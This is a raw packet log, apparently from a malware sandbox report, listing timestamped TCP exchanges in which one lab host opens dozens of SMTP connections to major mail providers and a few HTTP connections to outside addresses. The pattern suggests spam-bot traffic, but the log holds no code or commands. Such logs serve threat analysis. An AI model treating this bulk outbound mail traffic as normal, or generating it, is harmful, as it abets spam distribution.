Aug 24, 2023 19:03:22.824224949 CEST	49821	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:22.826342106 CEST	49843	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:22.827034950 CEST	25	49807	44.235.224.67	192.168.2.8
Aug 24, 2023 19:03:22.831314087 CEST	25	49830	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:22.831439972 CEST	49830	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:22.832194090 CEST	49832	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:22.832351923 CEST	25	49820	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:22.832509041 CEST	25	49820	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:22.832861900 CEST	49820	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:22.837927103 CEST	25	49805	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:22.837965012 CEST	25	49805	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:22.838037014 CEST	49805	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:22.838144064 CEST	49805	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:22.847009897 CEST	25	49828	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:22.847059965 CEST	25	49828	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:22.847429991 CEST	49828	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:22.855343103 CEST	25	49819	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:22.855407000 CEST	25	49819	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:22.875138998 CEST	25	49841	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:22.875322104 CEST	49841	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:22.879097939 CEST	49797	25	192.168.2.8	67.231.158.134
Aug 24, 2023 19:03:22.879097939 CEST	49799	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:22.879102945 CEST	49807	25	192.168.2.8	44.235.224.67
Aug 24, 2023 19:03:22.879209042 CEST	25	49831	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:22.879352093 CEST	49831	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:22.888469934 CEST	25	49805	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:22.894675970 CEST	49819	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:22.923754930 CEST	25	49829	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:22.925942898 CEST	49804	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:22.928179979 CEST	25	49822	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:22.941589117 CEST	49833	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:22.959680080 CEST	25	49821	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:22.960669994 CEST	25	49804	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:22.961363077 CEST	25	49828	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:22.961430073 CEST	49804	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:22.964889050 CEST	25	49800	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:22.965169907 CEST	25	49838	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:22.969183922 CEST	25	49820	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:22.969430923 CEST	25	49820	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:22.970390081 CEST	25	49840	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:22.972841978 CEST	49829	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:22.982258081 CEST	25	49818	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:22.983297110 CEST	25	49818	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:22.984637976 CEST	25	49818	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:22.984771013 CEST	49818	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:22.984942913 CEST	25	49814	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:22.985021114 CEST	49814	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:22.985064983 CEST	49822	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:22.986871958 CEST	25	49815	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:22.986977100 CEST	49815	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:22.989078999 CEST	49819	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:22.989540100 CEST	49829	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:22.989645958 CEST	49822	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:22.989754915 CEST	49821	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:22.989892960 CEST	49828	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:22.990004063 CEST	49800	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:22.990537882 CEST	25	49804	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:22.990758896 CEST	49838	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:22.990884066 CEST	49820	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:22.991228104 CEST	49840	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:22.991391897 CEST	49818	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:22.995711088 CEST	25	49797	67.231.158.134	192.168.2.8
Aug 24, 2023 19:03:22.995837927 CEST	49797	25	192.168.2.8	67.231.158.134
Aug 24, 2023 19:03:22.997092009 CEST	25	49843	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:22.997138977 CEST	25	49816	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:22.997195959 CEST	49843	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:22.997299910 CEST	49816	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:22.997607946 CEST	25	49842	211.249.219.37	192.168.2.8
Aug 24, 2023 19:03:22.997745037 CEST	49842	25	192.168.2.8	211.249.219.37
Aug 24, 2023 19:03:22.999604940 CEST	49844	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:23.004858971 CEST	25	49832	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:23.004976988 CEST	49832	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:23.005501032 CEST	25	49830	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:23.005728960 CEST	49830	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:23.033102036 CEST	25	49799	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:23.033252954 CEST	49799	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:23.049263000 CEST	25	49841	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:23.049475908 CEST	49841	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:23.054333925 CEST	25	49831	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:23.054601908 CEST	49831	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:23.057153940 CEST	25	49833	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:23.057307959 CEST	49833	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:23.071301937 CEST	49845	25	192.168.2.8	74.208.5.20
Aug 24, 2023 19:03:23.079281092 CEST	25	49839	34.212.80.54	192.168.2.8
Aug 24, 2023 19:03:23.079325914 CEST	25	49839	34.212.80.54	192.168.2.8
Aug 24, 2023 19:03:23.079435110 CEST	49839	25	192.168.2.8	34.212.80.54
Aug 24, 2023 19:03:23.079500914 CEST	49839	25	192.168.2.8	34.212.80.54
Aug 24, 2023 19:03:23.080585003 CEST	25	49817	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:23.080723047 CEST	25	49817	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:23.080746889 CEST	25	49817	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:23.080775976 CEST	49817	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:23.080826998 CEST	49817	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:23.080840111 CEST	49817	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:23.094340086 CEST	49846	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:23.096806049 CEST	25	49804	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:23.096849918 CEST	25	49804	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:23.096927881 CEST	49804	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:23.097615957 CEST	49804	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:23.097816944 CEST	49834	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:23.112235069 CEST	25	49797	67.231.158.134	192.168.2.8
Aug 24, 2023 19:03:23.124614954 CEST	25	49800	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:23.124773026 CEST	49800	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:23.124885082 CEST	25	49821	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:23.126697063 CEST	25	49804	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:23.127963066 CEST	25	49844	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:23.128020048 CEST	25	49820	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:23.128153086 CEST	49844	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:23.128187895 CEST	25	49820	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:23.128272057 CEST	49820	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:23.129565001 CEST	25	49840	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:23.129604101 CEST	25	49840	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:23.139887094 CEST	49821	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:23.140394926 CEST	49840	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:23.142245054 CEST	49847	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:23.144548893 CEST	25	49822	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:23.144717932 CEST	25	49828	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:23.146101952 CEST	25	49799	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:23.151264906 CEST	49848	25	192.168.2.8	34.212.80.54
Aug 24, 2023 19:03:23.158068895 CEST	25	49829	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:23.162909031 CEST	25	49829	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:23.162946939 CEST	25	49818	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:23.162969112 CEST	25	49838	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:23.162996054 CEST	25	49838	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:23.163590908 CEST	49829	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:23.164892912 CEST	49838	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:23.171567917 CEST	25	49843	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:23.171844959 CEST	49843	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:23.173695087 CEST	25	49819	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:23.173852921 CEST	25	49833	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:23.173890114 CEST	49819	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:23.175930977 CEST	49835	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:23.176115036 CEST	49833	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:23.176702976 CEST	25	49830	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:23.176780939 CEST	25	49832	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:23.176974058 CEST	49832	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:23.177604914 CEST	25	49830	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:23.177877903 CEST	49830	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:23.179510117 CEST	25	49831	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:23.179706097 CEST	25	49831	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:23.180016994 CEST	49831	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:23.181231022 CEST	49777	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:23.182384014 CEST	25	49797	67.231.158.134	192.168.2.8
Aug 24, 2023 19:03:23.182566881 CEST	49797	25	192.168.2.8	67.231.158.134
Aug 24, 2023 19:03:23.193952084 CEST	25	49817	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:23.194047928 CEST	49817	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:23.206788063 CEST	25	49845	74.208.5.20	192.168.2.8
Aug 24, 2023 19:03:23.206958055 CEST	49845	25	192.168.2.8	74.208.5.20
Aug 24, 2023 19:03:23.210767984 CEST	25	49846	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:23.210901976 CEST	49846	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:23.222737074 CEST	25	49841	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:23.223371983 CEST	25	49841	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:23.223598003 CEST	49841	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:23.230063915 CEST	49849	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:23.238517046 CEST	49836	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:23.246351004 CEST	80	49777	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:23.246413946 CEST	80	49777	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:23.246596098 CEST	49777	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:23.266110897 CEST	25	49839	34.212.80.54	192.168.2.8
Aug 24, 2023 19:03:23.277616024 CEST	25	49821	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:23.278022051 CEST	25	49840	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:23.278135061 CEST	25	49840	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:23.278314114 CEST	49840	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:23.280520916 CEST	25	49834	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:23.280664921 CEST	49834	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:23.281305075 CEST	25	49842	211.249.219.37	192.168.2.8
Aug 24, 2023 19:03:23.281497002 CEST	49842	25	192.168.2.8	211.249.219.37
Aug 24, 2023 19:03:23.289419889 CEST	25	49833	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:23.289455891 CEST	25	49833	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:23.289665937 CEST	49833	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:23.292588949 CEST	49850	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:23.298677921 CEST	25	49797	67.231.158.134	192.168.2.8
Aug 24, 2023 19:03:23.298718929 CEST	25	49797	67.231.158.134	192.168.2.8
Aug 24, 2023 19:03:23.298790932 CEST	49797	25	192.168.2.8	67.231.158.134
Aug 24, 2023 19:03:23.298856974 CEST	49797	25	192.168.2.8	67.231.158.134
Aug 24, 2023 19:03:23.304933071 CEST	25	49831	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:23.305026054 CEST	25	49831	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:23.305223942 CEST	49831	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:23.315510035 CEST	25	49847	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:23.315670967 CEST	49847	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:23.331794977 CEST	25	49829	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:23.332220078 CEST	49821	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:23.332837105 CEST	25	49829	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:23.333066940 CEST	49829	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:23.333983898 CEST	25	49829	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:23.334070921 CEST	49829	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:23.335236073 CEST	25	49838	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:23.335437059 CEST	49838	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:23.338540077 CEST	25	49848	34.212.80.54	192.168.2.8
Aug 24, 2023 19:03:23.338658094 CEST	49848	25	192.168.2.8	34.212.80.54
Aug 24, 2023 19:03:23.342341900 CEST	25	49843	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:23.343244076 CEST	25	49843	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:23.343434095 CEST	49843	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:23.343770027 CEST	25	49845	74.208.5.20	192.168.2.8
Aug 24, 2023 19:03:23.343795061 CEST	25	49845	74.208.5.20	192.168.2.8
Aug 24, 2023 19:03:23.343882084 CEST	49845	25	192.168.2.8	74.208.5.20
Aug 24, 2023 19:03:23.343926907 CEST	49845	25	192.168.2.8	74.208.5.20
Aug 24, 2023 19:03:23.347063065 CEST	25	49832	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:23.348263979 CEST	25	49832	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:23.348445892 CEST	49832	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:23.348750114 CEST	25	49830	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:23.349961042 CEST	25	49830	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:23.350188971 CEST	49830	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:23.351136923 CEST	25	49830	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:23.351233959 CEST	49830	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:23.355600119 CEST	25	49819	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:23.355745077 CEST	49819	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:23.355978966 CEST	49851	25	192.168.2.8	34.192.198.103
Aug 24, 2023 19:03:23.358588934 CEST	25	49835	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:23.358716011 CEST	49835	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:23.363523006 CEST	49837	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:23.365123987 CEST	25	49846	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:23.365394115 CEST	49846	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:23.365564108 CEST	25	49849	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:23.365672112 CEST	49849	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:23.372947931 CEST	25	49836	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:23.373064995 CEST	49836	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:23.373105049 CEST	25	49799	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:23.373215914 CEST	49836	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:23.373358965 CEST	49799	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:23.375545025 CEST	25	49844	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:23.375693083 CEST	49844	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:23.379375935 CEST	25	49828	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:23.379410982 CEST	25	49828	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:23.379487991 CEST	49828	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:23.379580975 CEST	49828	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:23.383208990 CEST	25	49822	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:23.383244991 CEST	25	49822	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:23.383291006 CEST	49822	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:23.383378983 CEST	49822	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:23.389934063 CEST	49852	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:23.394659042 CEST	25	49841	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:23.396008968 CEST	25	49841	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:23.396197081 CEST	49841	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:23.397190094 CEST	25	49841	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:23.397267103 CEST	49841	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:23.406475067 CEST	25	49833	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:23.406663895 CEST	49833	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:23.421015024 CEST	25	49840	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:23.421052933 CEST	25	49840	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:23.421149015 CEST	49840	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:23.428344965 CEST	25	49850	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:23.428483963 CEST	49850	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:23.433434963 CEST	25	49831	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:23.433577061 CEST	25	49831	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:23.433665037 CEST	49831	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:23.474278927 CEST	25	49851	34.192.198.103	192.168.2.8
Aug 24, 2023 19:03:23.474395990 CEST	49851	25	192.168.2.8	34.192.198.103
Aug 24, 2023 19:03:23.476671934 CEST	25	49845	74.208.5.20	192.168.2.8
Aug 24, 2023 19:03:23.477081060 CEST	25	49837	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:23.477282047 CEST	49837	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:23.479499102 CEST	25	49846	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:23.479552031 CEST	25	49846	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:23.485805988 CEST	49846	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:23.486951113 CEST	49853	25	192.168.2.8	173.194.202.26
Aug 24, 2023 19:03:23.490430117 CEST	25	49799	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:23.490525961 CEST	49799	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:23.493304014 CEST	25	49828	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:23.496980906 CEST	25	49822	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:23.497451067 CEST	49854	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:23.501282930 CEST	25	49829	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:23.502723932 CEST	25	49849	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:23.502933025 CEST	49849	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:23.504009962 CEST	25	49844	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:23.504038095 CEST	25	49844	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:23.504225969 CEST	49844	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:23.505728960 CEST	25	49838	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:23.505835056 CEST	49838	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:23.507683039 CEST	25	49836	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:23.507816076 CEST	49836	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:23.507922888 CEST	25	49836	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:23.507991076 CEST	49836	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:23.513999939 CEST	25	49843	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:23.515115023 CEST	25	49843	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:23.515311003 CEST	49843	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:23.516206026 CEST	25	49843	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:23.516300917 CEST	49843	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:23.518585920 CEST	25	49832	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:23.519797087 CEST	25	49832	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:23.519912004 CEST	49798	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:23.520128965 CEST	49832	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:23.520826101 CEST	25	49832	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:23.520947933 CEST	49832	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:23.521044970 CEST	25	49830	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:23.525896072 CEST	49855	25	192.168.2.8	80.109.253.242
Aug 24, 2023 19:03:23.553733110 CEST	25	49855	80.109.253.242	192.168.2.8
Aug 24, 2023 19:03:23.553968906 CEST	49855	25	192.168.2.8	80.109.253.242
Aug 24, 2023 19:03:23.554086924 CEST	25	49798	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:23.554260969 CEST	49798	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:23.560751915 CEST	25	49833	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:23.565350056 CEST	25	49842	211.249.219.37	192.168.2.8
Aug 24, 2023 19:03:23.565382957 CEST	25	49842	211.249.219.37	192.168.2.8
Aug 24, 2023 19:03:23.565660000 CEST	49842	25	192.168.2.8	211.249.219.37
Aug 24, 2023 19:03:23.567269087 CEST	25	49841	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:23.572118998 CEST	25	49852	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:23.572264910 CEST	49852	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:23.575351000 CEST	49856	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:23.583373070 CEST	25	49798	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:23.583404064 CEST	25	49798	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:23.583524942 CEST	49798	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:23.585422039 CEST	25	49850	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:23.585633993 CEST	49850	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:23.591419935 CEST	25	49848	34.212.80.54	192.168.2.8
Aug 24, 2023 19:03:23.591470957 CEST	25	49848	34.212.80.54	192.168.2.8
Aug 24, 2023 19:03:23.591573000 CEST	49848	25	192.168.2.8	34.212.80.54
Aug 24, 2023 19:03:23.591670990 CEST	49848	25	192.168.2.8	34.212.80.54
Aug 24, 2023 19:03:23.592226982 CEST	25	49837	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:23.592494011 CEST	49837	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:23.601003885 CEST	25	49846	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:23.601236105 CEST	49846	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:23.602062941 CEST	25	49835	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:23.602251053 CEST	49835	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:23.603848934 CEST	25	49855	80.109.253.242	192.168.2.8
Aug 24, 2023 19:03:23.603944063 CEST	49855	25	192.168.2.8	80.109.253.242
Aug 24, 2023 19:03:23.604008913 CEST	49855	25	192.168.2.8	80.109.253.242
Aug 24, 2023 19:03:23.610538006 CEST	25	49854	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:23.610683918 CEST	49854	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:23.612569094 CEST	25	49798	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:23.620331049 CEST	25	49834	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:23.620589018 CEST	49834	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:23.631784916 CEST	25	49855	80.109.253.242	192.168.2.8
Aug 24, 2023 19:03:23.633259058 CEST	25	49844	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:23.633467913 CEST	49844	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:23.638394117 CEST	25	49849	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:23.639163017 CEST	25	49849	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:23.639431953 CEST	49849	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:23.649807930 CEST	25	49853	173.194.202.26	192.168.2.8
Aug 24, 2023 19:03:23.649952888 CEST	49853	25	192.168.2.8	173.194.202.26
Aug 24, 2023 19:03:23.650232077 CEST	25	49847	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:23.650587082 CEST	49847	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:23.677727938 CEST	49857	80	192.168.2.8	104.18.115.97
Aug 24, 2023 19:03:23.683273077 CEST	25	49833	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:23.683331013 CEST	25	49833	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:23.683403969 CEST	49833	25	192.168.2.8	17.57.156.30
